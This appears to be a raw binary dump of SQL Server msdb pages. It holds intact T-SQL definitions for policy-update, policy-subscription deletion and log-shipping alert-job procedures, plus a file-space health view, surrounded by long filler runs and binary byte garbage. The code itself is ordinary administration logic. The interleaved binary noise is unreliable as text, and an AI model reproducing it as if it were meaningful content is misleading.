!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,Le0Y1? 8CREATE PROCEDURE [dbo].[sp_syspolicy_update_policy] 
@name sysname = NULL,
@policy_id int = NULL,
@condition_id int=NULL,
@condition_name sysname = NULL,
@execution_mode int=NULL,
@policy_category sysname = NULL,
@schedule_uid uniqueidentifier = NULL,
@description nvarchar(max) = NULL,
@help_text nvarchar(4000) = NULL,
@help_link nvarchar(2083) = NULL,
@root_condition_id int = -1,
@root_condition_name sysname = NULL,
@object_set_id int = -1,
@object_set sysname = NULL,
@is_enabled bit = NULL
WITH EXECUTE AS OWNER
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	--Check for the execution mode value
	IF (((@execution_mode IS NOT NULL)) AND (@execution_mode NOT IN (0,1,2,4,5,6)))
	BEGIN 
		RAISERROR(34004, -1, -1, @execution_mode)
		RETURN (1)
	END

    -- Turn [nullable] empty string parameters into NULLs
    IF @name = ''           SELECT @name = NULL
    IF @condition_name = '' SELECT @condition_name = NULL
    IF @root_condition_name = '' 
        BEGIN
        SELECT @root_condition_name = NULL
        IF @root_condition_id = -1
            -- root_condition is being reset
            SELECT @root_condition_id = NULL
        END
    IF @object_set = '' 
        BEGIN
        SELECT @object_set = NULL
        IF @object_set_id = -1
            -- object_set is being reset
            SELECT @object_set_id = NULL
        END

    DECLARE @retval              INT

    EXEC @retval = msdb.dbo.sp_syspolicy_verify_policy_identifiers @name, @policy_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    SELECT  @execution_mode = ISNULL(@execution_mode, execution_mode),
            @is_enabled = ISNULL(@is_enabled, is_enabled) 
        FROM msdb.dbo.syspolicy_policies WHERE policy_id = @policy_id

    IF(@condition_id IS NOT NULL or @condition_name IS NOT NULL)
    BEGIN
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @condition_name OUTPUT, @condition_id = @condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    IF((@root_condition_id IS NOT NULL and @root_condition_id != -1) or @root_condition_name IS NOT NULL)
    BEGIN
        IF (@root_condition_id = -1 and @root_condition_name IS NOT NULL)
            SET @root_condition_id = NULL
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @root_condition_name OUTPUT, @condition_id = @root_condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    SET @schedule_uid = ISNULL (@schedule_uid, '{00000000-0000-0000-0000-000000000000}')

    IF (@schedule_uid = '{00000000-0000-0000-0000-000000000000}' AND (@execution_mode & 4) = 4)
    BEGIN
        RAISERROR (34011, -1, -1, 'schedule_uid', 4)
        RETURN(1)
    END

    IF (@is_enabled = 1 AND @execution_mode = 0)
    BEGIN
        RAISERROR (34011, -1, -1, 'is_enabled', @execution_mode)
        RETURN(1)
    END

    IF (@schedule_uid != '{00000000-0000-0000-0000-000000000000}')
    BEGIN
        -- verify the schedule exists
        IF NOT EXISTS (SELECT schedule_id FROM msdb.dbo.sysschedules WHERE schedule_uid = @schedule_uid)
        BEGIN
            RAISERROR (14365, -1, -1)
            RETURN(1)
        END
    END

    DECLARE @object_set_facet_id INT
    IF ((@object_set_id IS NOT NULL and @object_set_id != -1) or @object_set IS NOT NULL)
    BEGIN
        IF (@object_set_id = -1 and @object_set IS NOT NULL)
            SET @object_set_id = NULL
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_object_set_identifiers @name = @object_set OUTPUT, @object_set_id = @object_set_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)

        SELECT @object_set_facet_id = facet_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name = @object_set
        -- Ensure the object set has been created from the same facet that the policy condition has been created
        IF (@object_set_facet_id <> (SELECT facet_id FROM msdb.dbo.syspolicy_conditions_internal WHERE condition_id = @condition_id))
        BEGIN
            -- TODO: RAISEERROR that specified object_set isn't created from the facet that the policy condition has been created from
            RAISERROR(N'specified object set does not match facet the policy condition was created off', -1, -1)
            RETURN(1) -- Failure
        END
    END

    DECLARE @policy_category_id INT
    SET @policy_category_id = NULL
    BEGIN TRANSACTION 

    DECLARE @old_policy_category_id INT
    SELECT @old_policy_category_id = policy_category_id 
        FROM syspolicy_policies 
        WHERE policy_id = @policy_id 

    IF ( (@policy_category IS NOT NULL and @policy_category != '') )
    BEGIN
        IF NOT EXISTS (SELECT * from syspolicy_policy_categories WHERE name = @policy_category)
        BEGIN
            RAISERROR(34015, -1, -1,@policy_category)
            RETURN(1) -- Failure
        END
        ELSE
            SELECT @policy_category_id = policy_category_id FROM msdb.dbo.syspolicy_policy_categories WHERE name = @policy_category
    END

        -- If the caller gave us an empty string for the
        -- @policy_category, then that means to remove the group.
    DECLARE @new_policy_category_id INT
        SELECT  @new_policy_category_id = @old_policy_category_id
    IF ( (@policy_category = '') )
                SELECT @new_policy_category_id = NULL
    ELSE IF (@policy_category_id IS NOT NULL)
                SELECT @new_policy_category_id = @policy_category_id

    UPDATE msdb.dbo.syspolicy_policies_internal
    SET 
        condition_id = ISNULL(@condition_id, condition_id),
        root_condition_id = CASE @root_condition_id WHEN -1 THEN root_condition_id ELSE @root_condition_id END,
        execution_mode = ISNULL(@execution_mode, execution_mode ),
        schedule_uid = @schedule_uid,
        policy_category_id = @new_policy_category_id, 
        description = ISNULL(@description, description),
        help_text = ISNULL(@help_text, help_text),
        help_link = ISNULL(@help_link, help_link),
        is_enabled = ISNULL(@is_enabled, is_enabled),
        object_set_id = CASE @object_set_id WHEN -1 THEN object_set_id ELSE @object_set_id END
    WHERE policy_id = @policy_id

    COMMIT TRANSACTION
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`XT<y-U[60<4 "0<4 "0<j8 "0<j8 "0<j8 "0<9 "0<9 "0<': "0<': "0<':"0<ҕ; "0<T< "0<T< "0<~< "0<I> "0<I> "0<Z@ "0<A "0<A "0<wB "0<wB "0<wB "0<C "0<C "0<C "0<(C "0<(C "0<(C "0<(C "0<AD "0<AD "0<UGTE "0<s{F "0<F "0<F "0<X\G "0<0H "0<*eH "0<~H "0< 
K "0< 
K "0<*BK "0<)?K "0<)?K "0<)?K "0<bcL "0<nJM "0<eQ "0<eQ$[???? (0??0<eQ$o[?B?Ba0??YRunAsSQLAgentServiceStartSchedule((!RunAsSQLAgentServiceStartSchedule@!0<eQ$[?@?@'??0<eQ$gl[?%I> A@A(Kn ??bonWNC	I] ??"F⎎@]z.$ ??$DfȩJ~ir2(tD ???>!B7Bz ???`C+0LD0<:Q "0<:Q "0<.HS "0<.HS "0<.HS "0<dM "0<>R "0<s{F "0<s{F "0<C$\?@?@'??0<C$\??PB?@@B'??0<C$\???`B?@@B@'??0<s{F$\?@?@'??0<s{F$\???0<(C "0<(C "0<fS "0<,5 "0<,5 "0<=7 "0<=7 "0<=7 "0<a8 "0<a8 "0<a8 "0<9 "0<9 "0<9 "0<9 "0<ε; "0<ε; "0<= "0<= "0<= "0<= "0<= "0<f_? "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}[9
p|Z8lJ(4~\:k'*W^<5ipNG%,
{Y7`]<s.M2h0Y[ 8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_policy_category_subscription] 
@policy_category_subscription_id int
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @old_policy_category_id INT
    SELECT @old_policy_category_id = policy_category_id 
        FROM dbo.syspolicy_policy_category_subscriptions 
        WHERE policy_category_subscription_id = @policy_category_subscription_id

    DECLARE @group_usage_count INT
    SELECT @group_usage_count = COUNT(name) 
        FROM syspolicy_policies pd 
        WHERE pd.policy_category_id = @old_policy_category_id

    DECLARE @subscription_group_usage_count INT
    SELECT @subscription_group_usage_count = COUNT(*) 
        FROM syspolicy_policy_category_subscriptions  
        WHERE policy_category_id = @old_policy_category_id

    SELECT @group_usage_count = @group_usage_count + @subscription_group_usage_count

    DELETE msdb.dbo.syspolicy_policy_category_subscriptions_internal 
        WHERE policy_category_subscription_id = @policy_category_subscription_id

    IF (@@ROWCOUNT = 0)
    BEGIN
        DECLARE @policy_category_subscription_id_as_char VARCHAR(36)
        SELECT @policy_category_subscription_id_as_char = CONVERT(VARCHAR(36), @policy_category_subscription_id)
        RAISERROR(14262, -1, -1, '@policy_category_subscription_id', @policy_category_subscription_id_as_char)
        RETURN(1) -- Failure
    END

    RETURN (0)
END
0[ %8((0))07\ I8CREATE PROCEDURE sp_add_log_shipping_monitor_jobs AS 
BEGIN
  SET NOCOUNT ON
  BEGIN TRANSACTION
  DECLARE @rv INT
  DECLARE @backup_job_name sysname
  SET @backup_job_name = N'Log Shipping Alert Job - Backup'
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @backup_job_name))
  BEGIN
    EXECUTE @rv = msdb.dbo.sp_add_job @job_name = N'Log Shipping Alert Job - Backup'

    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

    EXECUTE @rv = msdb.dbo.sp_add_jobstep 
      @job_name = N'Log Shipping Alert Job - Backup', 
      @step_id = 1, 
      @step_name = N'Log Shipping Alert - Backup', 
      @command = N'EXECUTE msdb.dbo.sp_log_shipping_monitor_backup',
      @on_fail_action = 2, 
      @flags = 4, 
      @subsystem = N'TSQL', 
      @on_success_step_id = 0, 
      @on_success_action = 1, 
      @on_fail_step_id = 0
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

   EXECUTE @rv = msdb.dbo.sp_add_jobschedule 
      @job_name = @backup_job_name, 
      @freq_type = 4, 
      @freq_interval = 1, 
      @freq_subday_type = 0x4, 
      @freq_subday_interval = 1, -- run every minute
      @freq_relative_interval = 0, 
      @name = @backup_job_name
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error

   EXECUTE @rv = msdb.dbo.sp_add_jobserver @job_name = @backup_job_name, @server_name = NULL
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error
  END

  DECLARE @restore_job_name sysname
  SET @restore_job_name = 'Log Shipping Alert Job - Restore'
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @restore_job_name))
  BEGIN
    EXECUTE @rv = msdb.dbo.sp_add_job @job_name = @restore_job_name

    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

    EXECUTE @rv = msdb.dbo.sp_add_jobstep 
      @job_name = @restore_job_name, 
      @step_id = 1, 
      @step_name = @restore_job_name, 
      @command = N'EXECUTE msdb.dbo.sp_log_shipping_monitor_restore',
      @on_fail_action = 2, 
      @flags = 4, 
      @subsystem = N'TSQL', 
      @on_success_step_id = 0, 
      @on_success_action = 1, 
      @on_fail_step_id = 0
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

    EXECUTE @rv = msdb.dbo.sp_add_jobschedule 
      @job_name = @restore_job_name, 
      @freq_type = 4, 
      @freq_interval = 1, 
      @freq_subday_type = 0x4, 
      @freq_subday_interval = 1, -- run every minute
      @freq_relative_interval = 0, 
      @name = @restore_job_name
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error

    EXECUTE @rv = msdb.dbo.sp_add_jobserver @job_name = @restore_job_name, @server_name = NULL
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error
  END
  COMMIT TRANSACTION
  RETURN

rollback_quit:
  ROLLBACK TRANSACTION
END
0>W\ 8	CREATE VIEW dbo.sysutility_ucp_mi_file_space_health 
	AS
	SELECT t.server_instance_name,
			t.database_name,
			t.fg_name,
			t.file_type,
			(SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.over_utilized_count, t.under_utilized_count)) health_state,
			t.processing_time
	FROM msdb.dbo.sysutility_ucp_mi_file_space_health_internal AS t
	WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!